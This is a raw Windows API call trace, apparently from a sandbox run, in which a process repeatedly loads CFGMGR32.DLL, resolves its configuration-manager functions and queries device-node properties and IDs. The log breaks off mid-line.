[0185.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.577] malloc (_Size=0x18) returned 0x196ef0d1a80 [0185.577] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.577] malloc (_Size=0x48) returned 0x196ef0fbc20 [0185.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f789bf7, dwHighDateTime=0x1d9eb0c)) [0185.578] SetEvent (hEvent=0x248) returned 1 [0185.580] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.580] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.582] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0185.583] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0185.583] malloc (_Size=0x48) returned 0x196ef0fc120 [0185.583] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f789bf7, dwHighDateTime=0x1d9eb0c)) [0185.583] SetEvent (hEvent=0x248) returned 1 [0185.587] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.587] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.589] malloc (_Size=0x18) returned 0x196ef0d1e60 [0185.589] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0185.592] malloc (_Size=0x48) returned 0x196ef0fbf40 [0185.592] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f7a7f43, dwHighDateTime=0x1d9eb0c)) [0185.592] SetEvent (hEvent=0x248) returned 1 [0185.595] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.595] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.595] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.597] malloc (_Size=0x18) returned 0x196ef0d1d80 [0185.597] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x19, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0185.597] malloc (_Size=0x48) returned 0x196ef0fbef0 [0185.597] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4f7a7f43, dwHighDateTime=0x1d9eb0c)) [0185.598] SetEvent (hEvent=0x248) returned 1 [0185.601] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.601] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.601] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.602] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.603] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.603] malloc (_Size=0x18) returned 0x196ef0d1d20 [0185.604] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x19, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0185.604] malloc (_Size=0x48) returned 0x196ef0fbb80 [0185.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4f7a7f43, dwHighDateTime=0x1d9eb0c)) [0185.604] SetEvent (hEvent=0x248) returned 1 [0185.607] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.607] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.608] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.610] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.610] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0185.610] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0185.610] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0185.610] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4f7cfcc5, dwHighDateTime=0x1d9eb0c)) [0185.611] SetEvent (hEvent=0x248) returned 1 [0185.614] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.614] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.614] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.614] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.615] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.616] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.617] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.617] malloc (_Size=0x18) returned 0x196ef0d1d40 [0185.617] CM_Get_Device_IDA (in: dnDevInst=0x1a, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\COMPOSITEBUS\\0000") returned 0x0 [0185.617] malloc (_Size=0x48) returned 0x196ef0fbb80 [0185.617] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4f7cfcc5, dwHighDateTime=0x1d9eb0c)) [0185.617] SetEvent (hEvent=0x248) returned 1 [0185.758] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.758] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0185.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0185.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0185.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0185.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0185.761] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0185.761] malloc (_Size=0x18) returned 0x196ef0d1e60 [0185.762] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0185.762] malloc (_Size=0x26) returned 0x196ef0f9b80 [0185.762] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9b80, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9b80, pulLength=0x67117d608) returned 0x0 [0185.762] free (_Block=0x196ef0f9b80) [0185.763] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0185.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4f94b8ab, dwHighDateTime=0x1d9eb0c)) [0185.763] SetEvent (hEvent=0x248) returned 1 [0185.765] malloc (_Size=0x18) returned 0x196ef0d1b00 [0185.765] SafeArrayPutElement (psa=0x196ee7befe0, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0185.765] free (_Block=0x196ef0d1b00) [0185.765] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0185.765] SafeArrayGetDim (psa=0x196ee7befe0) returned 0x1 [0185.765] SafeArrayGetLBound (in: psa=0x196ee7befe0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0185.765] SafeArrayGetUBound (in: psa=0x196ee7befe0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0185.765] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6020 [0185.765] SafeArrayGetDim (psa=0x196ee7befe0) returned 0x1 [0185.765] SafeArrayGetUBound (in: psa=0x196ee7befe0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0185.765] SafeArrayGetElemsize (psa=0x196ee7befe0) returned 0x8 [0185.765] SafeArrayGetElement (in: psa=0x196ee7befe0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0185.766] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225f20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0185.766] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6020) returned 1 [0185.766] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0185.767] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0185.767] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0185.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0185.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0185.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0185.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0185.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0185.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0185.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0185.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0185.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0185.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0185.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0185.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0185.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0185.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0185.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0185.769] GetProcAddress 